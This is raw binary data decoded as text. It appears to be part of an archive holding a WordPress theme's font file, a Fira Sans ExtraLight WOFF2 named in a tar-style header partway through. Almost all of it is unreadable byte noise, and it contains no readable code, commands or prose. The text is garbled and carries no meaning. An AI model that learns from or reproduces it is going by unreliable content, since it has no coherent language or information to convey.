A@0SMCVXi#1wh44x%?&ܘ{ơAlйXnq1~_ϡ{sfE+ؗ[TFnU#.&lmapStqmfbF!@8Z~׵?wZr)Li <<Ѓzϗ^T!_2@ matڗ>ߞF}KFf fɨϼEd.;T%xD@mR29*EicCN& <_:];[؃i˟FDx9qp'@]S;ϦED%-t3֪ ߰"ݧc~\g@z+y,NկPRӪiL?U=kuuޣԫΞSCt73[֍ь1-QnlЈJ,Uzv}ݟl7M7 Uvh oثbdTٳqybe2R͕Aqk沏 :Ƀ'S3pM1WH~l' l[_:)i /+L?v20BÑx2?օƻq&ɰl>0t7#blʐ%mP Fb/Pv޿uaB|E 1\;ђ@)R,%TW WKu@) $ 8ڋjZ]hHbi2k6 v*,%XV,gcc%1&> .!dɌ`;_FF+|mE%U6KA/]m[1Q릔qӈNuI0!2}(A'lWڇZz%ol>]5H9 ]ݗ]fS $Jle!.Zw|Z|sS&`w9> 30BA!X?GgԚБU(FbL |ɴ)Fp,eŚ6%!j3W;=M8^ɶۢQY^WsK~T+  3x:gW \svzZM+L%аQ 1Yz2&L5rvcg._fϨife]3gba_!?zZ+ wKйo{;)ZjV}a@gC#LN!hHAó7wVҩ i>1O&3RBbTaE.NN1N`+hIkσt8rcF4*l#j+2݄'VvE 9 2H^ v nzizߣdMZ0Eݳqqid?њ8rj!k*dU7Ikl.\*xE4Rq@ Mz&U>XH8ԣ\& H'gx9t}<9Iսh5E\#Y@<|wH20J #"ƱfQǰ4ٛÉ&S{97esjas,h`>}@ORX5y[nzon&}Hr3`Ң{,9L&E)ۈ3Meom$F%#k s #B~F.lLw$$LWʤ)y1ӯj1ϫCŕ?/) }Cdub!ps ]SsLEVlnhўMGCU?`:.U&6)ѣ]ZU-(݌Cdrk{.[XNLF{J-2Dz/VLM0V&){:]apO\KU5lkۄ( ϸ? C3fthhw#]у0zvl_UfI˳`j楺D\LH)cݚ z(Y'[i VHIkMй_%R{ %(ސ8>#OB _E;%H -Uy0 {O33<L P̺ Uzi]ˆo :xs{ fӓl.Nb*ItRx6#4G)ijBj!%1iXT2V_f 1jnH#D!~ԉEkU֣wljJGqvV)J׀#(ԍNtX"lJ#X565Yꂦ1Y4E?h K}gwMGy _ɗNAxkZ>LyjuΨ$|KNAC^d)B2~^RLXl H@X w(14h<:ĺ:ޔu|(|ްBX~h o}aҹT^(BML\:f8Ms4@iy/࿻Dƪ } 8,_WЂb}as!c-lW:\5 ijToX8Sp#d3Y⸂G ]%FpoiA)s΅+g%Ј(V|[{}'0^g,$ ;oi&*f3h`vklIJ&U2dК N }=B<զ%!YΣh21ۀgyq]"*n*q]ׅW {+SGA6uf>QA`&ҹ>`wPfFoӧ.DNLjaAVzSxB0җb.$"7O1/Veۥ. d`h)b4fHߏ>,HfFjƈQWi8=F˒Z˯.[(Y*rr^±H~˘M [f%FHNnY)R$khG2*hH ݿ[~YJk}ـ˺|,9nR]& 3;6:f^&lX\dc7s?2,;@hRu0^y!g1R8mK]ȵܜa.B(Zd=\S(ŭmHWq`}mfOe\.ߨBeLMUR CB\u|R<}, ;U/vGEe炊\΍  dE8 !y!%;3K08\!i:$B$ޗeU{@7HZ;E|t*dPyJ#:/?벙>Q?@b bLk̆&$?kRr'ۄxCqra.nUTK甎tZ˫fHhȹK  ̍dk7ڔ_lT>wJ.R;@~ :6]'\U< q7&͌ݶ8L=-Q([ÚHbI| V e& -8f2IqP Ӿ1 LmCvo蔶&?;VJs lw7by,0#^@ɡ}:D^Ɵ .Z I`|X+/),Sw薾 邊Wš[p^ƫM  M؁6k7w P ``mҜyI ^y P ;fPvgFduB4;)7Ow^ 9axS_cvU?Q񭃌M^WVV?Y$+Q &*+=ju̴z LsEqS:9#xV]L [AǑ]c 2Lf11w(- hK\ BևQ՗'Ԍ ٛ :Y XLubhq[IQK'YLҧԮJP>6A:^y3W+颏oP4Փ#ks^ʱ@}) n*d:g%P%~I= H%eXS4(ʇݴ<ދEtph_+x P)"WݠSRM[wV&E]r>s*ŌzR4C&6_J徑Coacce?Vୠq=fI UG *z\Qx se$*P{MlQ?aS'7 فTnKrNK|?;wQ6swp7?{λ5r]@w"S'4h>=^GTw$D0zb=IM*,MY*r6ÜՄۜm `6#3KOZ- UI%W]AJuOY_-`kѵg+sTkSL'Tb}0[+;,*V] %\"eKT=}(aa30J;9¾S %U-@EL,>n+ F6e BJIn42cFl e=fk3T0>R#:*޵1sپ@>n8:>0I)@d% ɕy1LJ~oі4GeWY3x^>"fL`c-9q4.|@N3nC 6z9_ D3DP :dEY^'pE#׋_KH~)*+DUnjdiH<&8tv1s~XC ݇~76 &O]8]I6.|;h{Y0@o6\V ;M@AH:;؇\ p.ES<[k" /.R A͖A jcL1ET "wRY99I>~ XUݧD.2[Db+WJ Hoi$p K]ṸIᬏ[G!9,+tHJ͉1 FhrN{rM,_&[a 5B*Z y V$ǟn|Nr=s}IJۡ6Q)8MV&۳2LoMTϙ u}.#燖>I]\L0uLpUH )[QQ?|<7܎E:3=IE!͡=^)ɇ_t]U>C^A^#%>(ն1s6+]jQV=ȋo/hz})9m]-9M "n3$=Ze΂or}>cSN /2mf?.gl.'sʱ"jT̋*LY7bx.;,QGr\H&$sb`UV2%)P*Mi([f7 tOs96hGUEVx0U!1q{rb JHx\v8S#bā:ge<Ɋo S~..w*d{=ٝ+/~h!;)-^iN(Uobdz.aQ0ܰbb/Z֮P3d9s#ҁ#YxAe`>?oKp_`|} !9H!HjK/M;[Cm~}]y5=.x6>v,կѻ8W1.Η1^dQ=ϊ efmޞB>m^20g2OmRtt/xzPl@)72ϙr=`ꪺ1 [~ޘ?epDAXgoI~n8@`0QA=w)iA7 =?hۙx5\Ip!%T4ʅB+"3إu꭮>ʍLYRĒmp)*G 6QH]j:VPC)k` ~zzH | E17+{5;8}E넾v=~ paiZOʱHr4B2\6wq2xp^o09zJZ3L9`법8}Cp9gz ZL<%쒅ȇh,{ң+[ş}y4UmXt`syZLv45!-!X̦ufFK}1#KF{Q>~+t Dڜ Us  IYA$9i'f%3_((OZ1 rXCoqtS'{)뺾C'% WMDa mwU=x?JΩJHS/%O[$VC57tͅC4y}Em>MfDR9(DyZ~D}mB 'TrJDj b=9ubͷ 7JX@Fc3-5>OՄNVXѓSM5]/ME [wTO3w#}"&)1:f<X)hkͧNs]kϯϏ>bY<Ǯ`Lvb@mgZ2k3ۘl[/UQNRg@J?D#Z_#\_QId#"skn?7+ZpwQVʙ߾&3oNG9^B!SqT۾Q.}(in Dn'UI nS'KlRtӢHS$6g ^w?X?pQ3'AtQihnK%yD:k?wU%oےonhKgDv G^\.ڵG ascd{ٵHajhPPI)K4tװIorhNʂUA.9`(B@1(`N`1ҺxE!/!-d]U x/Bs\_ 5`D-riʃ!XD ky,"eNH8o 5Q"gkI `7bzwu,y]v6zvUߕ)41>xqS6tݍX9ZXx>|*9l%=L]>g4?K-{42!zܫNsP:yLhz0=joМcwпG: L>l7*Ζ`kJ(CtߊDB=Gɴ0:ĶoŎ1^veO1) [;7I"lxMOc<TK kM8)*WR}tOIB5]Ĕw fn!Y*Zǭ.?XSAuY93'2<RVnj}z8q9&سXP1!%ZLy X%%`|i_;|3Y3mdvzgAPo(-yբ;zޯ͢ b+>6a2IZU:3E̘I׋ SyX-Sh{MO\cJ;8Kn^DA8m+ ^n$0Bݰ/LUH!_5%S.KH̟5qd0?C$鶑yuz /S* ==姃( {zy廾ͳ?xǛw0L1R_$=XUSeΚ#iT2E "AQRr*G͠R$92y#,za\ %A<[x\)/L'c1Ҋ҃z m-m#gKܔXM1\LM'ws^Jn|85җ#i |@+3Io+JIۚ8Vm@vÔ6pKχ,&8Uɏ40,w6+h XT67xPsbZR # Ȳ_̿_|yCj=o.g|05m,hQۡ8)9L"aTL.\'}偉Ay6#e~75rC~8z:}dCK 8jxӑw1vʪS 3?ֿ2ߣbn[{8S#hdY*c^#k;è_S8ܼW%FWk}݇M:TW[%"TTeigNh)dHgh6?+a43/bnPxR9DO=U^k0C+8a[ rD+;^hojDO.\.W27~njݢJ' TTw w霊{-Л9vz68ZIh Z<j|ZTkz_]gO9LwjK̿AƩ{7dAHɆZA]-JO%kS@NPA,;v \zwgrs % 6w#^$`WczeuA֓X3khgɱ+2&o-ɔ+IYsUBe.c(@hWcfhVY4:@ 0)CSw()l:\SԮEKL#hкId'pdK^[a/7l |؎5] ;hMɶayTsI[\o'Ѡv\Ø`gME2ɹM>J-t4T_;J/d^ޖ;n[3LfG5% bZ!^'B7I))1AO :j!Ro"@=~W1gShCg~E/.?r׿'O^/e8 W9}j^ fr\+y4Y "o?-%|ڐJ|߾MMUwf}sݮ0HpS b3͓= v ` Od-܍,`ek{Wa޽VcDP#?Vy 8{5L5;]lm$8op}2A}9K8Oj$^2ktjaPnp%ۦQi2IP9IaiVK{HN}.c\N庶d5|3MF4ūq~2X9ؓT<1C|93R}Vh-7ȧQ~Y9Y)} o+~d uaK?߆U_ |c(["mnS|UK FYO#=4ìM7s\oSo.U.ϡxO %[>FechKi+k@=Hlų"mA-T.Ճu5`;KS< =Shc*'&:ŜC%HyZ}4QFbm27%Imœj7f8|LIG>rRśix@9 ~(.E5 V!4Ein}DlҴԡ@2tJ7>=-[M.^M @?( 4 "V*NKŏ{$xT }K7^*]͑Mq[/c"ITMJ;J^Aj/t󝾲t!O\fKaBC`j+מHvQl7_Q vS(ky-~#6q\Y +7KZ;NVkжT2 kHґ6@6; jtlf׆8NR>H"!,#f\zxJ": ,sWl)95|ǻ`-NoаK5]rVúKY'YeLPF&7xx|d.j}w4Oc!LȬl}j;,z *0[b'a(٣>DBk.r5ωuQi>b5 _ ep zY5}qHyq;n;<%?[Hbox$B/lsYyʋՖn\õ(8 v.؊=R)ʥo层3G8$%aNTY&TKHe! JizK.?3d8Hm%, e U$TB  BMONz2R CPTFMxڨ͸OR raNv:-tMīrB}~ݛZS*c]jjzث)LYg'~Z\6Q/TR/txsUlľ0O|Rՙ ~u**bvL*`Y\w/B_ 4+Q^_ |c(qŖ|(~S<`Fʣ;L-;|agU=gTT'愕:\aRY9 OjedߡeCy)ƍf/X|רSt d8pe՞ 2y#L_Ҝ`=SIq]mJٔe뽥Oy2=hΖ޵I$.s擗Jgkz̛G16ނFĸ̣B>("t?OcQC`%*1ȩ\o,vnϩXsSYǬ~X9r@9nА<\zb^ArDFH-ƾT4)70{ro1{ @6|̜rteFw==Shjf,-1D톻8۶T{6hZfVuȺqha6T|cC}:9ճc{w)z:Bs tl4!}ѴKzKjt(tQMyhM.A6-\iI:&SM+bs\ FA?ceDnGCԶU[i[]$d&MEУgy{< 2-@qِ4[%.ix4iBU2UCg^7(z W^Gfz,Ur:E⢼xh fB~PvT&ϘƪM}&M\?fm+n*Af: XQD^m g1U&φ)H1nprAҢ,_/hhJJfk|On0f Ƥ#*t )R_Y*D( 翄'SDOPQ% gG9X_ eqyQ25}a9,GZjt-AU8ߜWOC${ZIi椊b XW\JyĠ|۝Nt`ݳ1QsSaR j~/:xLL ә!隗3=,PQ){%9-(W88KEsdنXGJhĬl؇'` &džg]õx DuIŐ ڥ\>]L4J!J5<+͋-4[ _*b Y:3CLJ3Kޭ;6EHjxZ5 Ƅm&dT|Lٵ8ᩓ(L5^Vb0.4(ݒψ^KDkG~6H;RT!֏)`rOP}Z}RKSPYb!>^1B/Gb8V9y1e90uk '~4 V3`KLt@#P^kKE|82u4bwyvl-|x:8Þt]q+p,={:e7KXp2|94H.p}0UJev0LX~5=6Vŕm'6d)MGZz0V65;(v8$S\=U ,IFZ^_}&(켜7Y/tgΞ-{V0QekM'U3DMPIyXR)Ic i9ߋag2J=[VNc*ޏ=O|t0\wA~F)ObCzyO1nNQI/CmzѤ$e͒`I|icGr7 I>b*sjL" 237ar{eA˘PWC&pCG.f }| Md Cbl1v{s4Qᒦ{X]0tJH Qzw&W=Uh^QYH%<ɕçJ:y@",gh'e"("$ (*Xة C$(ATHxI,e(?dP>C"¢1XDu ^w<\WAyQzq JWq*xw7"*Q߮' %&Q)!TU1x$*6dx=*`:Ͳ _/A+PA"S!( 9O(Tg*o˷|gܞCbƤ"[{j:AbjڒjN&f ? (f䫶dQ-Y4QAquE ""4zG(B.A.;ɨ!AMwuI2!cQ߮%r$3ɳ`C!mL)ڨDF5Ac_ }SHH"#1Utӛ!ah'Jͦ^TK{X+&S8VrVX <i^Tc-H|bcꙀT@Z s#9{beQ~[\5;AVX>Ț1 %ӌ&xpu T2~C?fO*窢C\푀;1AL+wWv` SRMmQ82UCHhG E4Xq'?Zwzb(Qp8(⫩6CSDFSZ+)V+S qѨ@U-)EzA@K ѣBA# "UP(h4&6NG(SPGHa^JQZl\<}c( |D֑N&Zjh1qԮ:u֣Wa\!e ]0̥GY';DIji1fz; ϟ-!|=W} +\PQkZ8qЇ ǏO+ 0 #$디UT*G'TF MK5U=~ &:EiH MLD9*,"L bsuG|PT%R\QoUjM=~ fԸj 8/%8 N8 Z'q:Yjv G0b",rS)ڦoj{ޏEg[ d2!vI f*4ʣ}k13Ǒ:z:_آfFO'ƒ(?l2d.4{h6{ߜtW㲨1;' jѤYVmB-T~Zd3ACR2r  $ ,񪚺&ZU-"sxKP¾ L[/ , $\d _(^Z> \T5Z`4-Vt=<}|QꗧHE";5vKVPXZmH5\@ CR`P0pH({|XB"iPd9x\D$]$#0"khYcOK ֤YVmD;tҭp "۵HQň'^DIH&})T<0؈\Tr*UVQ4kѪMtѫeW\uu7[Th@L\=K_4 GfҲqIGe +Zl;^0'|\@ A1 b >FZ$k$r51b\=OǼ}|YdŚ9(9q•-rTfTD@BAk͈  3懎_&Bc/(aL3,6 "1qR2r /Ưo`hdlbjfnתS!79Gn=z7`Qs9~Q0j̸ a]vc/MF5 1?!zK[lW7gӪ-ED'p. l:Bgi[)p'ѩ>O~Ij,袏!Ƙb@MГ-q-%'Oe!aj KA> <[AoSg:i H)`g$N:#\Z-FLj8F6ߣc~(U&CEF52:못zykd9CɪkraeEL2a8F{c釚l"GvF'\w#)"$O#SM!l^au$JЦ)7TjSc"L1u$\KoL=\=d.vbPm0kpohHl(jhʪgaPiIK}n2._+wktѻ9m 4$%-@@H&Z ݰܱ D.B]eu"]_ 5$;"cqyHʥw. . 8\^ bN[Xȭ „2.ÿ&S/b(F";YArzcpzZ ̗єU`aHҙl._()3)A/|K0m <@X`JʍxS-;<^bkCPivd0)d=~oӞF+I{gn5ץ: K ğěz9X4 WUK%CP"@@rVVyAxΉ3Uբ>WF@ P\qP'ƙHQ=&Li %Zbu/DPvH^S n!mqB;7if+F ]'o6No5fopK/9澅dڹk ޒP7qQ \,:D2ݨ5ED 4boiH W x+ D`jLR*{-#SP?:CIvb Fizene :HEAT f@^M_}uz;[ NJavN؁GDéТ i.)wa>X #@#j0HPiWMDa0қ pBXV&[|?+bv/,JNV,5!#ҽGp[Ԁ{B "Kf_MORiHqyÍw{k(طQqt$A5JrՉ^z/+@G='\3'hȁzP#ρ >:T!0i댞2M٣1 # 1^Rꄽ^&%dbaB &kDE3a" f:g-h-3dlW2ey8Q`03@q9PNH_ )(Dc3ޒt$gGcq(y, /B.O`$"HXeDvbJ oLe ,6AG)ʹx-~sń#aOk0l?1-\2 QaCƮ_8P_~*Td=#6ʋ뮥+gix UA-ѬӰ}иX2x03^gVQ/_["Mh63z8~BȹI 液ښJСMDP9YP,Fy'0R:IC>3+EـMX4p]`joZ`aVvOl.W8 5*AwbwcB4S?+Q|/ jk+;2O˝q}tkq\Җ&|^;!%Π4)*QP[s;9tt1}Za V: s4x,38c)}s%*Ŭ*-fA-S,GEr#Ν&Qz5ю ,Zfvnfϻuw3عa-vmQEJ0g]8L#. KzY7J%dhIE )̸\SթOE{6qT&{}䃵LWKa99l!UVloyN+Mp %*fr(C!N vP#'e50" @sYh›^ wTknN/H4Wb%0MaZ[U} d~ {MD{l~`p!J l[ňΪH~X!$Oܥׇa=$=έf Q N|0vAB89(FfaJm$!Cv`"h!t,(2 ;Iۢa ƣLHKAA.|(USѤgW&_.-PDBE2Y&=¼[n&;*4_`YJ3U۽GmA"ȝ* T WSqH_k #9N#䌡k?i(Ȇw)Ci5 UBg#4jcO:v!/qz rw#,3d kw-`mHIQʵ;oE L؂ 8WIɍ폔` ekʎLƴWE@(䒎T4 cf)&O` #[b:(w73"2!ժ!`EhtѪed)D{8n7[^ru=ZBcֳDoJ~ӴW)ED:k$jX{!' {D'UK4M(wsޙRGVAv|spV`#jtEڊZ7i64}o܌7?tco )4Rm-,5< Xdl6jݘz˻̑M-+oJG!ַD+U24H, EJRB%K ԃ[arvVgkUzӔbD#[Q^qܾw~h7{n|"`g-7o+ќJQVJ*,2Om#2X[=V!,t5j&lttԫ/ VP~4BluڙrvM)XޘfOwyuޑ^v1zf'Mh颐`mYkv lH6^@(Q,2DY8ϛu=)%k,O6#nCʮޔCevhc `2b/x"H9P`@<4ә{3t_8r_%:Z!/u5mw0MPC:Iꁮi a " K֕V&.0IԲU.S?Ur32q@rc?D 0-.Njwňt@!lHDK!Rᴔrפ#be1njnhdL mQ ҫ־ jHVۢZ7;}hD`pMyAx=_3F?jrTfW\(v4t`]&aK;%>7-G!tAXDVWBU;ܐ) j ƫh{gc˧KYD054j e)0XC "<"M]\0-`l 0fIwʒU^p`Sd}7ʈssޑVLFMY4RJ)cld-gkeeSS(GDz.RXXM叏a~`Fan @`lŁL^hU?pk%kԗ9@:0=R U"x ʞwllҨZ('4;RVVy^z@8e1~.ƀje=*lְY= DqYK͏ĎERW(^^ZJT McIZld׸-W\sP=VtlSkя󄫸w4߸=Rͺ 76:iwXp#fj|0n5dYN A6UҽN.sv3['a `f;M}Z)=0=pR-SC#? G438 0ͨn!Yt}LiG(kIo8Tf:IbQd(ҘaP]|b`Љ居:=D,Jvzvxה;ahZᅤ*8@RVK_'JܕHIZ柫茟}o{~߽dGOŸ]by1kWa?pb4:߁ e:-+_ HX\1T%*P񂉰yA6#]B)*^F BŅ쪗Cd2yvi]toJ#Ep/]&Ǣ|HCYTcN}ҧTWXId:n7<찴m1vVwv|l&=>[S՛%PjU, {>4rĢOqx=vw[.\dGpMPܡQ5ttıt|]1SRt*zImCϪk3~@I|Rd`~>'-_W:S%7xa_,>oaa voLKxї͏_h̠w rx'}~w~_\9Q}J52Uΰ:Dž|n}p_, q8@#j#!)Jp#[ {1V"i+WNrYnlT R\5O#Ijsd+..} kD\XBHTҕ(0ެs Q/VV6.SfmH!+h yuyh*ↁ*EBI1ҼWSҢ[!=dHqГ_ ~H_xQ ?~#c4 olj9_vW:/uy_'<؀/ % ?~'KH@K__.=F;sɴjkzl/qr;.L,΁ŻݍJ4]?/{_>,po'?O.qj>^Zthemes/twentytwentyfive/assets/fonts/fira-sans/FiraSans-ExtraLight.woff2000064400000457020152335264760022577 0ustar00wOF2^I]M|:`h  fZ"DQBcUdkFGԴԊROvӻNW*ݒP? *`$'Fk?F`B$ꨅ OYk MLfB8 dQI fТBuJ^U­u[ZQ+nuh4\;;F5(ne[fB=SEnTMB{֠N)Q=ڠl/Hl PԠۧ$&TAM\67لQ o=Q"p[xz eEՂeb&,I#/X="P$p_hڇ.#Wsu _L< Ԧ|h 5O5sDb4Jg+I,\m.(3ٛ'JzKɎPnmJ z,ίAe^~d(/S~eBxS_=FO^Y6+4严70ˠ"U >+%AovG)%aBg߃ᬒR$ލEEE^9G8G<4A dd kd1Q6)|E~\%8HBb!'X6YW'(O6zjbؗolԝ=( 'S Eeݟ_u#74|BƠ&{f`1O(. v7_aa L+!YCX8L =ښa9 XzsC TmY#W&6n n.r<Sl d;)VˆT .1OX-4IARVhr_Z2CWG1)+`-tyGuއo/&rj"7196&&TLܦ'k0 ]3Y?@k3Azj>"xj ETHF{Fo֌n6ML}.](FX@=m>̼a(n4 (2i:a%12ɺI|'2aickUI7 bɝgԠ!Exd[CJCdIQfzzh#Q!P + E*dIB>3rxv5G ";Nֿ3Ud#峀,٧#[iy3[_v,cS~vv#FG^^&r4}U3HR#lbP۳Y^Wqtڶh ^ "Y!HD9 ^$ \p> DH "A$ ED"A$8HN$U+'i:Ɯk;oGs1@71uSKR }[> "t&G4#X5BZl~z{_[ ؙ3޾~试|e vO+J(YyUHR@tkfz`>>9P !\pSg$> pOD9iTdsDϼ [϶nDO"DB$DB'"""!= DH/B|""""""!""!q]*?ItnwL*.eŃZYKKf吪:l Lq6@&~f3%5p&}W5 QHU׉=z|y0Q^[Q6b:$~ߋ ^ik (cʴ17< MQ 4MC^ $!},CP :􃬤QS,hkxSi $V ! N0Q}@7ꆈe6r[׬LIKUZY*^̾4= !EʹS$/F%_W blVp~Fm51jWY~WA/I 纹 mo̬㏜OʨgR%j9\n 1rOP@a@Se@.-PM!&83.Y=>zK/Dp( !R%@(_RR03fA.(j\v6mGiJ)Uڴ+R r6` # Sń~Hڹof@-0x)Oarjs3G՞_m*O4|˜ prhPuתB#CHêe *RtH\eB{f#5a&}BJQĄ @{!EIN&%Z_eRGAw {5gT"`ReJrQEwGaA|JqA9q+tTTXrt0N&J1vFx]/F6Yi0ֈYjIbŀGO-_ +=83hoQjgF )>Á檍.[ !o_?Wf/j0C7{fխg70{1 ;}Hf!RB.32O0 k7B0T`T-Ark.DЃ1o׿Spbԏ^jza`#!pW߯skbcDDH^t|H7Ӆ]zZkUŪ11VćBcwZw._8if1f!P&{T+HUGE~R j*4 ,f0!$VFMh6<V$_OlU=,I0ՙSLS-yY{~WڇS dߙ$4qRxrcxT~"՟ ϯTsnj F:X-'ٖ7Y^R gӮrAA̻w }$7AS[dkA4;ʾ'%Y [Zadfe5Z}t/#k=ag gfxnIFQC/8aBiMr+'`ԕ l"?b{ A񕌯q#L0K6](G=Ug|k?r!8U"1dSMb0?o_xOm0*[ C֯\q6>ʎ|8 H_xcmsȝ_y:}a_ljBx%H^?._|+ ) dPʕOi%S6jzu;P*-4$, IIu}(jv>S++{g}3h'b}(B15#xca#nj4uy aGvu=D,H #od9QN1s9s罭hbhI'|mlCm6?h֮i=B Ulda+5-AtňnRD=+ڔr0\ӄ+jRF)8>*rA;S{u8iy}Nú摫u08d׀~5r 1fRqkzw.J-V,$jfiGV㉚2&$P.8LҹKQjLMD,XMt)}LD2xY{Rj[u^%df;P u%hL)F*}d.C;:#jsȆ7m~2pߘT>Wx{7826Ĵ&ɓkʼU554P^w4r˧@P1ՙ2Y $0U4iЩzBp#UR}5 ԯFQ51`Gqbpd 4HgTUr9``"@T!椷 QbJ“Uݧ+m%g+fm[T|BT ]񘿭ٺcy g306B^QH7 #ѕF2^ܺTTkLaw{B_N$> ⾼ko!c_kzcaƘdybP [P{0ⲤfIG ߣ%ke 2_Q@ʌ戓~!a)i9y%e;P1q@R*TQ!0P CAaX Ca$ȈI2@ VJ@8`a9#HIH0낎H1k?JBO-qKy~] g)ԵQ%H04A N u= a eF2+/AEYXRՠ'oࢾP?# ԯ7W*?`$,"*&.4ӪMf0c93 U)vJÕF.H9Z< wj>@ͤSX>T5jaKt:]0EE^Nݒ6B܈[0d^I,{V*ذ[Oxh)Va.eP|uJ*sG3/LJNqO)=SqC0ˬ{:1fQAz"2gQ(oySb}~9{8?OM$3 BrkI fg@ZGg3  zl0CX~ZrpP>?8'n{ bLRkYhX`@Gr x4v,/3z,L@5vE|rK "$Ԙ@C58ϣ-1٣S+U$j֯H3+ȝ*TKE MNsHl܄;:gs n#=Gjf Zz*{>|])0E[?b_ϾGnn]*kܚͭm ,zKccExn}!#xZTR 3,@y%ֵVj3a"bU~hQFY>歊V~=GQdM$f~Kϓ*Cu#`f`FuFiuԞ4mwXzyfXqf]^˙]Cu1O9 b`!h֭ ֲ $R{ Z r\,hHŨ-L*Ҋ, Ejol?h6W L@.?]PL^7_4;1#s5RmG)AРUUԆ6\ʪMzgt@%7딕 ^^e[:O hr39aqB]J. l kFG!M/& NIaY! )hɝ:pȉb4ւ'_KHؽ(Qܼ$չ8O`asd6m!I /Ccz*n~{DiwAA1.Z!BڰXg"e/- x}UP@lMq \1iI5 4[ W 9ts3")rFs)k rLIdJ BeSֹ=q[u6n!4Fp R2fZeSN\5Nm6y02\cIm\خ䚆i~ּ\Xǘd͜*_oPf>3Ң"%,yq.Sp9(O<"pz&VHPU%)t 0c&On#|!``}[xґ`Lgo|VpH*c3䝈RklFXT Subt^0[gL^q|ٯp!?|U={)RYtq_ dAIt-z]/tÛ`Tkmso&~r$WxnJTUIН[K>ӎ @qQ=FPUZPMf}\rހ:ѝNivWSN [ 2beKc9E[tOxpry%L wg0,l*[H*(IȒ%q$߲M~ PyW?tRp6uF;b`m\#<.-xM繥zQ[yIQu'}Zbg9G|'.~B0',p2<|ߢ87# A[6D4RzEngD5j6$:׺FφǠdHǣelULbjNn!7c. ؒE16Tvo=ϭiSt`c:MsW~*K7Mg5HomPFTͯ'dLfʆLh,j 6dYUkP#j6Y6d˹å9ؒhXB9pEj9KV&EQFe1f %uӜ }ID+$J$EAɔ,nɆzfS^|FH*-ZUxEAŨXiW/O%PhNd+ŕz0կէUYUMՕzmaC c]1Z5MCQԜ5_+5XW닙QQGoZ-lȸÚ m8ist2MМjRSG&eepS{9&qqÅ*n,ri} w٢xVNi{w nv}PnQ(n0IF݁k[KΣ5; .[y;07Gp4|S %FTNtZ8vɹ߮\̩,b{ (9cO䂼3iS+ҳc~z*v7h_ ~sV50FS3Clc8g-oj/st<(5^v&0G !`--cid+jJl\('%_06.M80\Q-ԗWБ|XYqv h'zZTG9:SvC f? $ _N[t*|0]eU3ucl-mMf iblgH:hg9nIp< |dWVw L.06/Xڜ @VO$B :wXzz ` ?r$VnnbU+ wuwhսum뮪o?ε#{lCX36茫{ {PkA zG  ~.>K pŁ7>fXؙYMfov%~l%B5 RH\bɝm P5j}N J:ᔝ^FpP^|T` {Yu6vR)#s&p2T D"Wr;$H`bR m2:BotQ+ogU^N #;@&fr"d3TxUҎ4b|aKgl9! y: ɤA!PY}ǴqF;@8 F|MLOw[Y<: m4dsWy¨ A1$4kB!U[R^ h1UbsبͨR+Pd֢O݇bGV=Oѓ_.mDwι4_ԤICp/DkEw{;ۦ67&ԛv3]P˒zx4D"BO=T{H PlQ0 .Vݗ%֦Ojn@8~+^\gY_J^*_ҽ;mm{;Gof[:nt=ZbiFLtݡۑ԰ ^ŕYsjqm{sύt]|2dܛ˶<{ ` #@ABJvE\!3v26>?[xw?3|6{xd? v%#I3}$|l+;W.c}t|~K4G&MBA# QUSbsqP/V81+Bݒ:kt7}7s ``2pdr zÇ5L_O9+5u}5 X`!^5?,/WҐظrUc̲n9=~T6crqߚ+f4\L[%缿·yS`.]/͐,لs؍:OAC*ȮXVSup0-_Fs !)V Idgp)̘3:0]U/:C9w48RspZ|)d0U+x7'qo CS_0^[ql˽Rɒ4rĠ 7ftףW%vj=3.\q|9,m@c>ϲ n3} hyu~gIQp؝wc t_+jiu Xy7_ m29M:^-vy;ǿtoL [.GFԏv־oH'c7uWNې-/?~wxyc^FX^;,2¤ nh^~{Hτ]e)Ex;'2元9Ȇ Y[53Yh C. 4 y^R8b=OM#(& o-yAS_ /E.- /Wݾk%CeQj tl5vABNĘ@̀Rz5/0:;uWv"@{_卪XtKCc?"N# y${*2+D$XRu-~{/'3fΊG_#h=zrlu+k A'[͙fS3:^@ê`sPw^6snO=콪f>jca =`]3OԜx<'񡾐>Vy%q}&c`*D6ǰl$]l^; J,غS6C:d,,sc P̨. y"L.9@׀ :b uZ>%tEzvZ[u| |8f,쒹mS!e ߭"! :c⒭RNI"- Dvln$hw-F7Uf 'HSV,u`o"N5 9[ pFmy 1dQP5hzMnQK 6j8aC\;hyF4{nK!N'u˨ԯg?u׎. ̒J-3Qx1ٴ+«R ô]O>'|~9 EJdғ 35(\ڭ>4&o~%{=[5ᆱ Jo JLI&cN=)%Gײ#*'̫GR`bTM8gľzBFgj,ITg1T 1t5j#Eٌ>XX\I`C9ګm%q n螿G͇9]krLC#abTnNz2khMalڂDUӃC"GvNygxO;9Ut&!7tLv.zpVve/WƱQ@X8Q&>"XQ6af latÃ?nĪx +\[9BkWL^cn;YXrRP÷,a#,GT;_N1oGҚu|T[R9^HOӨ*Kx>@)>ͼA"tD벁Akf]"e ݾѼAoZsb9@k z g wvwVDl-׻蝑Sp5iTj'bTZE+C pAi/>-w[*X8`&NopNx+!Fwb-ɀ U #4*~ðAM3q*䲧d@Ț/ =:9"6SWo>:@{1´ړ ]-Wn5o%~ɼn'- DiGFS`6[ɖKyg[hnrwAmbNN$׽ɴ `M̫֎n!!S^vpNO Pdktn"h&e6BT\ oށc%u'&ۮMefsoѝ=?XC. WK_Vjծlz>;7lt^@e_e={oRUq#;Q44a|a@ Fp>T4*iUrnAuG 3~?|څ[!! zuf<kL rjH1T*<~-NB\/ B&Y#^ d Tqܪt2ɴOS JP~LƩpAu 9##f2:0+,O^bE?L~,v!(+uآߤTn>9'CX*Uꃩciȟ/wr")>-]ͅ#wG( L</8'}$(P>3H' -Āc%Γ}@ tU5}Ĭ?HWILO$$`S烤b6l iUyq5F;Ui} *{{o_̐ߐˣ47GsIdZ6/Yм\b]@O9d,o bgTU暸Q*'l/!2'qd(*+% zn}$`yjBl,JC2$SlUvYVw53n_6mbMm1yi#?X1~`d ő60v E(wЩ]zYig:U{\,sH@Xm1v?(Nx2L(Q^RTkOon)֊?Ԏb寕)bmck[+}X4e5^]G芿4'v 8#8pVzcL#q.ի~]›ݢj\ȪU2\% cW懟-oU8FuT^^tHS|;~=c^0u|mz@- 8J81$(JM>)lnin c_UV뮖o%woʭN~ZS~m&i'ڬ=4ڧ}Dz;5C;\EǥU[v4s:<-΂|1+vLtv?k|>犕pˇ;V7? ҇V_CNJ\X3~Gk3f9}p-_N1f:TtrN6NN=, t9_o]F 2uSo1t"|"sNFQdiT=N:͗[G7(+4ժ! &)00 Lhk)ĜOHd sª)&k'. 